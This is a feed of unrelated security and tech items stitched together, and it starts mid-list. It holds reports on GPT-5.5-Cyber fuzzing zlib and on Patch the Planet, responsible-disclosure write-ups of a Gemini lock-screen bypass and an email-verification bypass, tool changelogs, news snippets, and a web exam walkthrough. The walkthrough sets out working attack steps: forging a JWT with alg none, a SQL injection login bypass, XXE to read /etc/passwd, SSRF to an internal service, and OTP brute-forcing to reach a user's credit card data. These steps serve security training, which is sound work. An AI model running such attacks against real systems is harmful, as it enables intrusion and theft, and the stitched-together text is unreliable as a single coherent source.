• It wrote C/C++ harnesses across a dozen entrypoints, including inflate, inflateBack, uncompress2, gzFile, MiniZip, puff, blast, infback9, gzjoin, gzappend, and several contrib stream wrappers.
• It used compile-time variant builds (INFLATE_STRICT, BUILDFIXED, PKZIP_BUG_WORKAROUND, etc.) to reach code that the default zlib build hides.

Each of these decisions is routine on its own, but stringing them together in the right order across a dozen entrypoints, without being handed the steps, is a relatively large shift in how capable frontier models are.

While zlib already has fuzzing coverage from its OSS-Fuzz harness, GPT-5.5-Cyber went beyond the default harness shape, which passes random inputs to the gz* APIs. Instead of directly fuzzing the gz* APIs, its most successful harness found bugs in valid gz* states that could only be constructed by operating system backpressure.

Reporting discipline is the hard part

In general, models tend to struggle with deciding when a finding is severe enough to justify escalating it into reporting. Weaker models tend to escalate bugs that cause the program to crash, but are not reachable under real-world conditions. Early on, GPT-5.5-Cyber hit a null callback crash in inflateBack. The crash was real, but reaching it required a caller to set up a state that was extraordinarily unlikely in real-world conditions, so the model logged it as unreachable and moved on. This agent kept going without human intervention and found several higher-impact issues.

That discipline is the whole game. The value of the zlib harness came from automation plus a strict definition of what counted as a reportable finding. Without strong validity rules baked into the goal and a model truly capable of evaluating those rules, the agent will generate mountains of noise with high confidence: invalid uses of the public API, expected parser errors, internal API misuse, etc.

The moat is gone

Setting up a bespoke fuzzing campaign used to mean finding someone who could write harnesses, reason about valid API state, and differentiate between a bug and a crash that can’t happen in practice. This asymmetry kept casual attackers out of the game for most targets.

That moat is mostly gone now, and it shifts the threat model in two directions at the same time. For a skilled researcher, it is a force multiplier: the weeks-long tax on every new target drops to a day or less, so the same person can audit far more code. For a low-skill attacker, the floor rises: the tedious, expertise-heavy work of getting a harness off the ground can now be driven by starting a goal and supervising the loop.

For anyone shipping security-critical code, the practical takeaway is clear. Bespoke fuzzing is no longer a luxury reserved for projects with mature OSS-Fuzz coverage, and it is no longer expensive for the people whom you would rather not have running it. The defensive move is to do it first, with the validity rules that turn agent output into a high-signal source you can act on.

Lessons learned

The fuzzing lab answered the question we came in with and left us a much bigger one. We didn’t ask GPT-5.5-Cyber to build a fuzzing campaign; it decided that was the job and did it. The thing worth watching for now is what else these new models will reach for once you hand them a goal and step back, especially the approaches we would never have thought to ask for before.

That is also why the front-running work being done by Patch the Planet matters. Every new capability that helps us find bugs faster is just as available to an attacker, so the advantage goes to whoever finds the bugs and fixes them first.

The post AirDrop and Quick Share Flaws Expose Five Billion Devices to Proximity Attacks appeared first on Cyber Security News.

NOTE: As of the publication of this article, the vulnerability has been fully patched, and all coordination regarding disclosure was managed directly with the Google VRP team.

Introduction: “Security Architecture vs. The Real World”

How can Android’s foundational security layer, the Keyguard, falter when confronted with the complexity of a modern AI interface? The answer is simple: as systems grow more complex, the impact of overlooked edge cases amplifies.

In this write-up, I will dissect how a simple multi-touch interaction triggered a critical logical security flaw. I’ll provide the technical details of how this vulnerability bypassed the lock screen — the very boundary designed to be the most secure — and exposed sensitive user data.

How I Discovered It

I didn’t uncover this vulnerability using automated scanning utilities or complex fuzzing frameworks; rather, it surfaced organically during my daily user experience. I noticed that multi-finger interactions within the user interface triggered benign functions that should have been restricted under specific device states. While an average user might dismiss this behavior as a transient UI glitch, to a security researcher, it signaled a potential flaw.

Further analysis revealed that invoking specific operational modes, such as Lyria or Deep Research, forced the application into a full-screen state. Initially, interaction was restricted, and the system prompted for credentials. However, applying the multi-touch technique I discovered earlier circumvented these constraints, granting unauthorized access to application settings and chat histories. By expanding the attack surface during my research, I confirmed that critical assets like NotebookLM notebooks and Gmail drafts were equally vulnerable, subsequently documenting and escalating these findings to Google.

Technical Analysis

Gemini’s modular features bypassed the system Keyguard due to an architectural misconfiguration. The application improperly exposed UI elements that should remain strictly inaccessible while the device is locked. Although the system repeatedly invoked the Keyguard to request authentication during these operations, I successfully bypassed the lock state by leveraging a form of Context Hijacking.

The root cause lies in inadequate validation of concurrent UI interactions. By maintaining an active press on a permitted interaction area (such as a text input field) while simultaneously tapping a restricted target element, the application failed to isolate the input contexts. This race-like UI interaction completely neutralized the application’s internal security control mechanisms, turning a seemingly minor interface bug into a robust logical bypass.

Impact & Exploitation Surface

During the initial phase of my research, the exploit vectors were limited to reading, deleting, or renaming historical chats, accessing Gemini’s core settings, and viewing profile data. However, digging deeper into the application’s ecosystem revealed a significantly more severe impact:

• Arbitrary Creation of Gmail and Google Docs Drafts: Allowing unauthenticated data injection into core Google services.
• Unauthorized Access to NotebookLM: Exposing proprietary or highly sensitive personal and enterprise data stored within notebooks.
• Gem Execution: Triggering custom AI agents without owner authentication.
• Destructive Actions: Permanently deleting critical NotebookLM assets.

The practical implications of this vulnerability present severe risks, including data exfiltration, advanced social engineering scenarios via unauthorized draft creation, and the compromise of enterprise-grade environments.

Coordination and Disclosure Timeline

Throughout the lifecycle of this vulnerability, I maintained an active and transparent line of communication with Google’s security team. Shortly after submission, my report was designated as a “Duplicate,” tied to an older legacy issue inherent to Android’s core component architecture. Despite my requests for verification regarding the unique interaction vector, the root cause was maintained as identical.

Nevertheless, I continued my research. Following a subsequent major Gemini update, I verified that the exploit remained active. Upon presenting this evidence, an immediate mitigation was deployed, removing the specific mode buttons from the locked interface. Roughly a month later, a comprehensive patch was pushed, completely resolving the underlying logic flaw. My subsequent regression testing confirmed that unauthorized multi-touch access had been completely mitigated, successfully concluding the lifecycle of the report.

Key Takeaways and Conclusion

This journey marked my very first experience within the bug bounty ecosystem. Uncovering this logical vulnerability taught me that security research extends far beyond hunting for code flaws; it is about navigating the disclosure process and understanding how even a “duplicate” report can be leveraged to harden a system’s overall security posture. It perfectly illustrated how seemingly decoupled, non-critical components can be chained together to form a high-severity exploit.

Analyzing Android’s security architecture and engaging with engineering teams on regression analysis during my first research attempt fundamentally shifted my perspective on information security. While this specific report did not yield a financial bounty, the true payout was invaluable: a deep dive into the inner workings of complex enterprise software and the discipline required to execute a responsible disclosure process.

This experience is merely the opening chapter of my career in security research. It stands as a reminder that no architecture is infallible, but through the vigilance of independent researchers, they can be made resilient. Security is never a static defense; it is a continuous cycle of curiosity, analysis, and refinement.

NOTE: All PoC media provided in this article have been redacted to ensure user privacy and are presented solely for educational and security analysis purposes.

📌 References & Community

If you want to check out my other security research, tools, or open-source projects, feel free to explore the links below:

• GitHub: github.com/msalihberk
• Previous Research: ShadowLab: A Modular C2 Framework Architecture Built with Python for Modern Cybersecurity Research
• Follow for More: Feel free to follow my Medium profile to get notified about my future security research, development projects, and technical write-ups.

Is the Android Lock Screen an Illusion? A Critical Logical Bypass Discovered in the Gemini App was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

A few weeks ago, I was browsing LinkedIn looking for freelance opportunities when I came across an AI-powered platform looking for freelancers. The platform looked interesting, so I decided to create an account and see how everything worked.

This wasn’t a bug hunting session. I was simply signing up as a normal user.

That said, I have one habit that’s hard to get rid of.

Whenever I register on a new website, I usually keep Chrome DevTools open and watch the network traffic. It’s something I’ve been doing for years, partly out of curiosity and partly because it helps me understand how an application is built.

Sometimes I don’t find anything interesting.

Sometimes I learn how the application works.

And occasionally… I find something the developers didn’t intend.

This turned out to be one of those occasions.

Responsible Disclosure

Before we dive into the technical details, here’s a quick note.

I responsibly reported this issue to the platform’s security team. The report was acknowledged, and the issue has since been fixed.

To avoid exposing the affected platform, I’ve redacted its name, domain, screenshots, and any other identifying information throughout this article.

Interestingly, while investigating this issue, I also came across another security weakness. That’s a story for another day.

Looking at the Registration Flow

For the registration, I used a temporary email address. I usually do this when trying a new service, especially if I’m not sure whether I’ll continue using it.

Before clicking Sign Up, I opened Chrome DevTools and switched to the Network tab.

More specifically, the Fetch/XHR requests.

Once the registration completed, I started reviewing the requests and responses generated by the application.

Most of the traffic looked exactly as I’d expect.

The registration request returned basic account information, a few status fields, and something else.

The token value was clearly a JWT.

At this point, nothing looked particularly suspicious.

Many modern applications automatically authenticate users immediately after registration, so returning a JWT isn’t unusual. Depending on the application’s architecture, it can be a perfectly valid design choice.

I simply made a mental note of it and continued observing the registration flow.

A few seconds later, the verification email arrived.

Like most verification emails, it contained a button that pointed to a URL similar to this:

https://[REDACTED]/verify-email?token=<JWT>

Again, nothing unusual.

Until I looked a little closer.

The token inside the verification URL looked very familiar.

I went back to the registration response, copied both values, and compared them.

They were exactly the same.

That immediately raised a simple question.

If I already have this token from the registration response, do I actually need the verification email?

The only way to answer that question was to test it.

So I registered another account.

Testing the Hypothesis

Rather than clicking the verification link from the email, I decided to repeat the registration process using another temporary email address.

The goal was simple.

Could I verify the account without ever opening the verification email?

After registering the second account, I watched the registration response again and copied the JWT returned by the API.

This time, I completely ignored the inbox.

Instead, I manually constructed the verification URL using the same format I had seen in the email.

https://[REDACTED]/verify-email?token=<JWT>

I pasted the URL into the browser and pressed Enter.

The account was verified immediately.

At that point, the hypothesis was confirmed.

The verification email wasn’t actually required.

As long as the registration response exposed the same JWT used by the verification endpoint, anyone registering an account already possessed everything needed to verify it.

The email merely contained information the client had already received.

Why This Happened

It’s important to point out that the problem wasn’t JWT itself.

JWT (JSON Web Token) is widely used across modern web applications for authentication and securely transmitting signed information between systems.

Returning a JWT after registration is also not inherently insecure. Many applications automatically sign users in immediately after creating an account.

The issue here was much simpler.

The application reused the same token for two different purposes.

The JWT returned by the registration API was also accepted by the email verification endpoint.

As a result, the verification email stopped being the source of trust.

Instead of proving ownership of the mailbox, the application trusted information that had already been provided during registration.

In other words, email verification became an optional step rather than a security control.

How Email Verification Should Work

The goal of email verification is simple:

Prove that the person creating the account actually has access to the registered email address.

A typical email verification flow looks like this:

Notice where the verification token comes from.

The only intended source of the verification token is the user’s inbox. If someone can’t access the mailbox, they shouldn’t be able to obtain the token, and therefore shouldn’t be able to verify the account.

Now compare that with what happened in this case.

Instead of acting as proof of email ownership, the verification email simply duplicated information that had already been exposed during registration.

Once that happened, the verification process no longer answered its original security question:

“Does this user actually control the registered mailbox?”

Instead, it became:

“Does this user still have the JWT that was already returned during registration?”

Those are two very different security guarantees.

Security Impact

At first glance, this might look like a minor implementation mistake.

After all, the attacker is only verifying their own account.

However, the real issue is the broken trust model.

Once the application accepts a verification token that users already possess, it no longer verifies ownership of the email address.

That can have several consequences depending on how the platform uses verified email addresses.

For example:

• Users can verify accounts without ever accessing the registered mailbox.
• Fake or disposable email addresses become much easier to use.
• Any feature that assumes a verified email belongs to its owner can no longer rely on that assumption.
• Future workflows built on the “verified” status inherit the same broken trust model.

The impact ultimately depends on the application.

Some platforms only use email verification to reduce spam.

Others use it as a prerequisite for password recovery, identity checks, invitations, financial transactions, or access to sensitive features.

Regardless of the specific implementation, the underlying guarantee remains the same:

A verified email address should mean the user has demonstrated ownership of that mailbox.

In this case, that guarantee no longer existed.

Lessons Learned

One thing I enjoy about application security is that interesting findings don’t always come from sophisticated techniques.

This wasn’t the result of automated scanning.

It wasn’t discovered with Burp Suite extensions, custom tooling, or fuzzing.

In fact, the only tools I used were:

• A web browser
• Chrome DevTools
• A temporary email service
• Curiosity

The vulnerability wasn’t hidden behind dozens of requests or a complicated authentication flow.

It was visible in plain sight.

All it took was slowing down, observing the application’s behavior, and asking a simple question:

Do I actually need the verification email?

That question led to a business logic flaw that made email verification optional.

It’s a good reminder that application security isn’t always about finding clever payloads or bypassing complex filters.

Sometimes it’s about understanding what a feature is supposed to achieve, then verifying whether the implementation actually delivers that security guarantee.

Final Thoughts

As developers, we often focus on whether a feature works.

As security researchers, we also need to ask whether it works securely.

In this case, the registration flow appeared to function perfectly.

Users received a verification email.

The verification link worked.

Accounts became verified.

From a functional perspective, everything looked correct.

From a security perspective, however, the email had stopped serving its original purpose. The application trusted a token that had already been exposed during registration, making the inbox irrelevant to the verification process.

This is exactly why business logic vulnerabilities can be so easy to miss.

Nothing crashes.

No error messages appear.

No scanners raise an alert.

The application behaves exactly as expected — until someone asks whether the security assumption behind the feature still holds.

Thanks for reading!

If you’re a developer, I hope this write-up encourages you to look beyond whether a feature works and think about what security guarantee it’s supposed to provide.

And if you’re interested in bug bounty or application security, remember that you don’t always need advanced tools to find meaningful vulnerabilities.

Sometimes, Chrome DevTools, careful observation, and a bit of curiosity are more than enough.

Happy hacking! 🚀

How I Found an Email Verification Bypass on an AI Freelance Platform was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Multiple AirDrop and Quick Share Vulnerabilities Allow Attackers to Crash Devices appeared first on Cyber Security News.

🎉 New Features

• Added per-host HTTP client pooling by @Mzack9999 in #7301

🐞 Bug Fixes

• Fixed handling in hosterrorscache to automatically skip hosts that consistently time out by @knakul853 in #7455
• Fixed preservation of explicit target port in network templates (fixes #7323) by @XananasX7 in #7465
• Fixed connection reuse and improved port pre-flight handling by @Mzack9999 in #6715
• Fixed code template signature validation before DAST loading by @dogancanbakir in #7472
• Fixed gating of MySQL allowAllFiles option to require -lfa flag by @dogancanbakir in #7473
• Fixed ASCII-section regex to properly escape literal . by @snicket2100 in #7476
• Fixed recording of decoded bytes for debug dumps by @snicket2100 in #7478
• Fixed proper escaping of dbname in lib/pq URLs by @dwisiswant0 in #7479
• Fixed network policy enforcement prior to LDAP dialing by @dwisiswant0 in #7494
• Fixed normalization and rejection of trace file DSN options in Oracle by @dwisiswant0 in #7480
• Fixed proper escaping of MSSQL database names in connection URLs by @dwisiswant0 in #7481
• Fixed krbforge to reject unsandboxed ccache writes by @dwisiswant0 in #7482
• Fixed rejection of request-condition(s) during fuzzing by @dwisiswant0 in #7466
• Fixed: YAML now correctly rejects recursive include chains by @dwisiswant0 in #7492
• Fixed resource leaks by @Mzack9999 in #7502

Other Changes

• Updated govaluate dependency to prevent slice-bounds panic on invalid UTF-8 input by @XananasX7 in #7464
• Updated goja dependency by @Mzack9999 in #7467
• Updated dependencies to remove unused packages by @dwisiswant0 in #7457
• Refactored templates to centralize opt-in capability gating by @dwisiswant0 in #7489
• Added fuzzing parser harnesses for raw requests and templates by @dwisiswant0 in #7459
• Refactored template rendering boundary by @dwisiswant0 in #7499

New Contributors

• @XananasX7 made their first contribution in #7465
• @snicket2100 made their first contribution in #7476

Full Changelog: v3.9.0...v3.10.0

!!! You need to recompile persistent mode/LLVMFuzzerTestOneInput target !!!

• afl-health:
  • new tool: AFL++ campaign health tool checker, much more advanced than
    afl-whatsup, with tips, analysis and ssh support
• afl-fuzz:
  • Futex implementation missed the clean-up of the shmem
  • Futex shmem now lives in general shared memory map as by default only
    32 such regions are supported in MacOS
• afl-cc:
  • new C11 mode (AFL_LLVM_C11 at compile time): afl-cc records each
    function's local variable count and afl-fuzz uses it as an extra queue
    scheduling signal to favor more complex code paths. Noticably improvement,
    based on the paper https://mlsec.org/docs/2026-icse.pdf
  • if -fsanitize-coverage-allowlist=/-fsanitize-coverage-ignorelist= is
    passed without AFL_LLVM_ALLOWLIST/AFL_LLVM_DENYLIST being set, the
    supplied list is reused as AFL_LLVM_ALLOWLIST/AFL_LLVM_DENYLIST (with
    a warning) so the optimized PCGUARD honors it
  • instrument allow/deny lists (AFL_LLVM_ALLOWLIST/AFL_LLVM_DENYLIST and
    the GCC equivalents): function (fun:) entries are now matched verbatim
    with fnmatch() instead of having a * prepended automatically - add a
    leading * yourself for a suffix match. Function entries are matched
    against both the mangled and the demangled (LLVM) / unqualified (GCC)
    name, and an explicit fun: prefix now permits : so demangled C++/Rust
    names can be listed. File (src:) entries are unchanged and still match
    as a suffix (an implicit leading *)
  • AFL_LLVM_CRASHLIST - crash on any function that is marked not to be
    instrumented but is entered by fuzzing input
  • bugfix for __AFL_LOOP() that lingered since vanilla afl, first run
    coverage map would look different to following runs, impacting lots of
    functionality (minimizing, stability, etc.)
• afl-* script tools:
  • prefer AFL_PATH to find afl-showmap
• man pages: fixed the SYNOPSIS and OPTIONS sections for several tools

Paul Dempsey and Bernard Fanning are among big-name Australian musicians upset that their original songs have been found in datasets used to train artificial intelligence.

A dataset search tool recently created by US publication The Atlantic reveals millions of creative works have been scraped from the internet to train the disruptive technology.

Hi and welcome to TechScape. Nick Robins-Early and Dara Kerr here, filling in for your usual host Blake Montgomery who is out on vacation. We’ll be talking about the fight over a proposed billionaire tax in California, the UK’s social media ban and SpaceX making a big buy in the AI arms race.

California ‘billionaire tax’ makes ballot despite opposition from tech moguls

Tech billionaires are spending unprecedented sums in California races. Experts say it’s the tip of the iceberg

‘It makes no sense’: 16- and 17-year-olds on UK social media ban

UK ministers lobby Trump to avert backlash against social media ban

Frontier models like GPT-5.5-Cyber are producing a firehose of security findings, and already-stretched maintainers must sift through all of it to separate real vulnerabilities from plausible-sounding false positives. Patch the Planet is different: with our experts orchestrating and triaging findings, we handle the work of fixing and hardening the code alongside the people who maintain it.

The first week of Patch the Planet covered 19 projects across cryptography, networking, language infrastructure, and software supply chain. Among these 19 projects were cURL, NATS, pyca, Sigstore, aiohttp, the Go project, freenginx, Python and python.org, urllib3, PyPI, SimpleX, Valkey, and RustCrypto. Over 30 projects have joined the initiative so far, and we’re rapidly expanding it to include more; if you maintain an open-source project, apply to join!

Anyone can file an issue, flex, and walk away. We showed up with the patches: 37 are already merged, and many more are in flight. These merges go beyond just fixing bugs: we’re adding new tests and fuzzing harnesses, CI security scanning, supply-chain tooling, correctness fixes, and features maintainers had been meaning to get to. The goal of Patch the Planet is to leave essential open-source projects measurably better off.

We brought patches, not just bug reports

We’re reporting public findings on GitHub, including 64 total pull requests. We also filed 51 issues, 19 of which are already closed with a fix. This public tally undercounts the work, since several projects take reports through private channels like HackerOne, GitHub security advisories, mailing lists, and private forks, and most of these have not been released publicly yet.

What’s in those pull requests matters more than the count. At python.org, we added a CI workflow built on zizmor, our open-source GitHub Actions auditor, fixed all of the issues it flagged, and integrated it into their CI. In RustCrypto, we contributed correctness fixes to the big-integer library that higher-level cryptography is built on, alongside genuine feature work in review: serde encoding support and HPKE DHKEM suite IDs. Other patches were plain engineering help: storage-accounting and service-restart fixes in SimpleX, a clearer admin-quarantine confirmation in PyPI’s Warehouse, and supply-chain improvements like SBOM sidecars for Python’s Windows artifacts. We will also be upstreaming many testing improvements and new testing campaigns. Arguably, our best contributions are not even bug or security fixes.

Keeping track of all of this is a bot we call Patchy. Patchy monitors every project, posts each new finding and merged patch to our Slack, and, for reasons we consider scientifically sound, reintroduces the common use of goblins, gremlins, and assorted creatures. Here’s Patchy’s description of an issue that has been patched:

When a patch lands, Patchy celebrates with a triumphant PATCHY HAPPY. Making Patchy happy is really what drives us.

A few highlights from the week

The week produced more than we can fit in this post, but here are some quick highlights.

A fuzzing lab built in a day. Given a narrow goal (find remotely exploitable bugs) and no instructions on how, GPT-5.5-Cyber decided that reading the source of one of the most-reviewed C libraries in existence was a poor use of tokens. Instead, it stood up a full fuzzing lab in under a day: sanitizer and variant builds, a seed corpus drawn from existing tests, and harnesses across a dozen entry points. Instead of simply fuzzing exposed APIs, it successfully built a harness that injected operating system backpressure to identify novel issues by reaching previously unexplored buggy states. We estimate all of that effort likely would’ve taken one of our fuzzing experts two to three weeks to do manually. Just as important, it showed judgment about what to test, what to report (and not report), and where to find higher-impact findings. We’ll publish the full details in a standalone field report.

A pipeline for variant testing historical CVEs built in a day. Codex was also adept at building simple but effective pipelines, such as the CVE variant analysis pipeline shown below. Codex’s /goal feature combined with frontier models like GPT-5.5-Cyber for this type of variant analysis produced novel issues with almost exclusively high-signal output.

A release-pipeline improvement at python.org. We reported multiple security issues for python.org, including some issues closing a legacy-API authorization gap. But we’re most proud of the work that produced long-term improvements to python.org’s release infrastructure: the new zizmor CI scanning, tightened release-file and metadata validation, deletion scoping fixed so bulk operations can’t reach beyond their target, and release-tooling patches in review that quote remote command arguments, fail safely on partial uploads, and add SBOM sidecars.

The aiohttp maintainers fixed their issues almost immediately. We privately reported a cluster of issues across aiohttp’s client and server paths, including cookies that could regain broader scope after a save and reload, digest credentials that could answer a challenge from the wrong origin, and resource limits that ran after attacker-controlled buffering rather than before. The maintainers authored and merged all eight fixes within hours, seven of them inside a single five-hour window. We were impressed and appreciate the maintainers’ prompt and collaborative work on these issues!

Differentially testing major cryptographic libraries against each other. Many of our projects implement the same logic, protocols, and algorithms. In particular, multiple projects implement the same cryptographic algorithms and standards like X.509 certificates. Therefore, we used Codex to point these projects at each other, and identify any relevant behavioral differences. This proved to be a high-signal approach that uncovered several issues, including this AES-GCM issue in PyCA and several X.509 issues, which we plan to upstream to x509-limbo.

Finding the bugs is now the easy part

If it wasn’t already clear from the last several months of security news, this week makes one thing clear: the expensive part of security work has moved. Arming Codex with fuzzing campaigns, variant analysis, differential testing, agentic searching, and similar techniques produces real vulnerabilities and compresses weeks or months of manual effort into hours. The advantage is no longer in finding bugs, but everything after: confirming a finding, getting its severity right, writing a patch a maintainer will accept, hardening the surrounding code, making long-term improvements to prevent similar issues in the future, and coordinating a disclosure. That is the work that floods of AI-generated reports threaten to bury.

Guidance for maintainers

If you’re a maintainer managing an unsustainable number of AI-generated bug reports, the core challenges you need to solve are deduplication, false-positive filtering, and severity correction.

Deduplication is the easiest problem to solve technically. Even simple AI-based tools that compare new reports against open issues perform well, especially when grounded in affected code lines. Automating this step eliminates most of the noise.

False-positive filtering and severity correction are harder, but they can be managed. Without explicit guidance, models default to rating everything as critical.

Generic approaches like our fp-check tool help, but only to a point. The best improvements require project-specific documentation, threat models, and severity criteria. PyCA’s security documentation, for example, was dramatically effective at reducing false positives in our bug candidates. Files like AGENTS.md that explicitly tell models which documentation to consult produced the most consistent and effective results. If security researchers are armed with this documentation, especially AGENTS.md for AI-based research, more noise will be filtered out before reaching the maintainers.

What’s next and how to get involved

This was just our first week. Over 30 projects have committed to join Patch the Planet, with a growing waitlist. As more findings clear coordinated disclosure, we’ll publish more results and deeper field reports, including full fuzzing lab details, the variant-analysis and differential-testing pipelines, and the tooling we’re building to help maintainers triage AI-generated reports themselves. Our Patch the Planet gist contains the full public list of our week one output.

If you maintain a critical open-source project and want this kind of help, you can apply to join Patch the Planet.

Amazon's Kindle is the most popular e-reader on the market, with an extensive ecosystem of e-books. From a security perspective, Kindle devices especially stand out because they are often linked to an Amazon account.

Their complex software stack supports numerous e-book file formats (AZW, MOBI, PDF...), as well as many underlying media formats that increase the attack surface. As such, downloading an e-book from the store may allow an attacker to gain root access to the device, take control of the Amazon account, and steal credit card information.

In this talk, we will dive into the internals of Kindle devices and discuss a $20,000 bug in the parsing of Audible audiobooks which allowed us to take full control of the e-reader. We will also share general insights on fuzzing file formats based on the MPEG-4 standard (ISOBMFF).

By: Valentino Ricotta | Security Researcher, Thales

https://blackhat.com/eu-25/briefings/schedule/?#dont-judge-an-audiobook-by-its-cover-taking-over-your-amazon-account-with-a-kindle-48836

Certification: Web-RTA (Web Red Team Analyst)
Issued by: CyberWarFare Labs (CWL)
Difficulty: Beginner–Intermediate
Format: Practical, black-box, 16 flags across 2 web applications
Author: Shikhali Jamalzade

Introduction

The Web-RTA (Web Red Team Analyst) certification by CyberWarFare Labs is a fully hands-on, black-box web application penetration testing exam. No multiple choice, no theory — just two live web applications and 16 flags to capture.

The exam covers real-world web vulnerabilities: JWT attacks, SQL injection, XXE, SSRF, OAuth misconfigurations, and brute force. If you’ve worked through OWASP Top 10 and done some CTF-style web challenges, you’ll recognize the patterns immediately.

This writeup documents the complete attack chain I used to pass — step by step, flag by flag.

⚠️ Disclaimer: This writeup is published after passing the exam. Exact flag values and credentials are not disclosed in full. The methodology is shared for educational purposes, as is standard practice in the security community.

Exam Structure

• 2 web application targets (separate IPs and ports)
• 16 total flags — mix of research questions and practical exploitation
• 30 days of lab access
• Not proctored

The first 4 flags are research-based (vulnerability names). The remaining 12 are practical — you earn them by actually exploiting the applications.

Research Flags (Questions 1–4)

Before touching either application, the exam starts with 4 vulnerability knowledge questions. These are straightforward if your web security fundamentals are solid:

1. Vulnerability that executes malicious queries in databases → SQLi
2. Vulnerability that accesses other users’ data via manipulated object identifiers → IDOR
3. Vulnerability that tricks a web app into making requests to internal/external resources → SSRF
4. Vulnerability that injects malicious payloads into server-side templates to execute code → SSTI

WebApp 01

Reconnaissance

Starting with the provided IP, the first step is directory enumeration:

bash

feroxbuster -u http://<WEBAPP01_IP>:<PORT> -w /usr/share/wordlists/dirb/common.txt

The root page redirects to a login page. Note the URL structure — the /dashboard endpoint will matter shortly.

Flag 5 — Anonymous User Role

Navigating to the login page, there’s a CAPTCHA + username/password form. Skip trying to brute force it for now.

Instead, go directly to /dashboard without logging in. The application loads and reveals your current role in the UI:

• Flag 5: The role allocated to unauthenticated users → anonymous
• Flag 6: The endpoint where events are available → /dashboard

JWT Token Manipulation

While on the dashboard as an anonymous user, open Burp Suite and inspect the cookies. There’s an access_token_cookie - paste it into jwt.io.

The decoded payload reveals:

json

{
  "role": "anonymous",
  "username": "anonymous"
}

The token uses algorithm: none - meaning there's no signature verification. This is a classic JWT vulnerability.

Modify the payload:

json

{
  "role": "user",
  "username": "user"
}

Remove the signature entirely (keep the trailing dot), update the cookie in your browser (Storage tab in DevTools or via Burp), and reload the page.

You’re now authenticated as a user-role account. The dashboard now shows an event:

Flag 7 — Event Name

The event visible to authenticated users:

• Flag 7: Masquerade Ball

Flag 8 — Admin Username Discovery

The event details show it was created by a specific user. That username is:

• Flag 8: notatypicalsysadmin

SQL Injection — Admin Login Bypass

Log out and return to the login page. Enter notatypicalsysadmin as the username. Leave the password empty for now - but fill in the CAPTCHA correctly first.

Key insight: The application validates the CAPTCHA before checking credentials. If the CAPTCHA is correct, the response will confirm whether the username exists. This is an information disclosure vulnerability that lets you enumerate valid usernames.

Once you’ve confirmed the username is valid, exploit the SQL injection:

• Flag 10: The value of the flag in WebApp 01 → flag (the username found in /etc/passwd)

Flags 11, 12 & 13 — SSRF via Check Outage

Click Check Outage → Check Our Status. The application makes an internal request and returns service health data. Observing the response, it’s hitting:

• Flag 11: Internal URL for fetching secrets → http://127.0.0.1:8000/health

Now scroll down to the Fetch Status section. There’s a “Service URL” input field and a Fetch Secret button — a classic SSRF endpoint.

Step 1: Enter http://127.0.0.1:8000 and submit. The server returns a 418 status code (I'm a teapot) - the service is alive but rejects plain requests.

Step 2: URL-encode the target URL and resubmit:

http%3A%2F%2F127.0.0.1%3A8000

This time the server returns an encoded response with the label “hidden in layers”.

• Flag 12: The encoded data returned → a hex-encoded Base64 string

Step 3: Decode it — it’s hex that, when decoded, gives Base64. Decode the Base64:

bash

echo "<hex_string>" | xxd -r -p | base64 -d

The final decoded output contains credentials: a username and password.

• Flag 13: The plaintext version of “hidden in layers” → the decoded credentials (username:password pair)

WebApp 02

Reconnaissance

Using the second IP provided, navigating to the root returns a 404. Time to enumerate:

bash

feroxbuster -u http://<WEBAPP02_IP>:<PORT> -w /usr/share/wordlists/dirb/common.txt

Flag 14 — Login Endpoint Discovery

Directory fuzzing reveals a non-standard login path:

• Flag 14: WebApp 02 login endpoint → /client/login

Flag 15 — Client ID (IDOR)

Use the credentials extracted from WebApp 01’s SSRF exploitation (the “hidden in layers” plaintext) to log into /client/login.

You’re now logged in as a client account. The application displays your Client ID:

• Flag 15: Client ID allocated to the exfiltrated credentials → client_1337

OAuth Scope Manipulation + OTP Brute Force

After logging in, explore the available permissions/scopes. Attempting to access elevated features returns a permission error. Intercept the authorization request in Burp Suite.

In the request, find the scope parameter - currently set to read. Change it to admin:

scope=admin

Forward the modified request. The application now shows admin-level scope — but requires an OTP (One-Time Password) to confirm the privilege escalation.

The vulnerability: The application sends the same OTP code every time, making it trivially brute-forceable.

Send the OTP request to Burp Intruder:

1. Mark the OTP field as the payload position
2. Set payload type: Numbers
3. Range: 100–999 (3-digit OTP)
4. Start attack

The correct OTP is identified by a different response (redirect or 200 instead of error). In the exam environment, the OTP was 176 - but this may vary per lab instance.

Once the OTP is confirmed:

1. Copy the correct OTP
2. Go back to the application (not Burp)
3. Enter the OTP in the UI
4. Follow the redirect → Admin Dashboard

Click Go to Admin Panel.

Flag 16 — Bob’s Credit Card Number

The admin panel contains sensitive user data. Navigating through the admin interface reveals a user named Bob with his financial information exposed:

• Flag 16: Bob’s Credit Card number → (found in admin panel user data)

Attack Chain Summary

WebApp 01

[Feroxbuster] → found /dashboard, /login
      ↓
[Anonymous dashboard] → role = "anonymous" (Flag 5)
                      → endpoint = /dashboard (Flag 6)
      ↓
[JWT cookie] → algorithm: none → change role to "user"
      ↓
[Authenticated dashboard] → event: "Masquerade Ball" (Flag 7)
                          → created by: notatypicalsysadmin (Flag 8)
      ↓
[Login page] → SQLi: notatypicalsysadmin' / ' OR 1=1-- → admin access
      ↓
[Update Event] → XXE → /etc/passwd → user "flag" (Flag 9, 10)
      ↓
[Check Outage] → internal URL: http://127.0.0.1:8000/health (Flag 11)
      ↓
[Fetch Status] → SSRF → URL encode → hex+Base64 response (Flag 12)
             → decode → plaintext credentials (Flag 13)

WebApp 02

[Feroxbuster] → /client/login (Flag 14)
      ↓
[Login] with SSRF creds → client_1337 (Flag 15)
      ↓
[OAuth scope] → change read → admin → OTP required
      ↓
[Burp Intruder] → brute force OTP → 176 → admin dashboard
      ↓
[Admin panel] → Bob's credit card number (Flag 16) ✅

All 16 Flags — Quick Reference

1. DB query vulnerability → SQLi
2. Object ID manipulation vulnerability → IDOR
3. Internal request forgery vulnerability → SSRF
4. Server-side template injection → SSTI
5. Unauthenticated user role → anonymous
6. Events endpoint → /dashboard
7. Event name (authenticated) → Masquerade Ball
8. Admin username → notatypicalsysadmin
9. File path containing “flag” → /etc/passwd
10. Flag value in file system → flag (user in /etc/passwd)
11. Internal URL for secrets → http://127.0.0.1:8000/health
12. Encoded SSRF response → hex-encoded Base64 string
13. Decoded “hidden in layers” → plaintext credentials
14. WebApp 02 login endpoint → /client/login
15. Client ID → client_1337
16. Bob’s credit card → found in admin panel

Tools Used

• feroxbuster — Directory and endpoint enumeration
• Burp Suite — Request interception, modification, Intruder
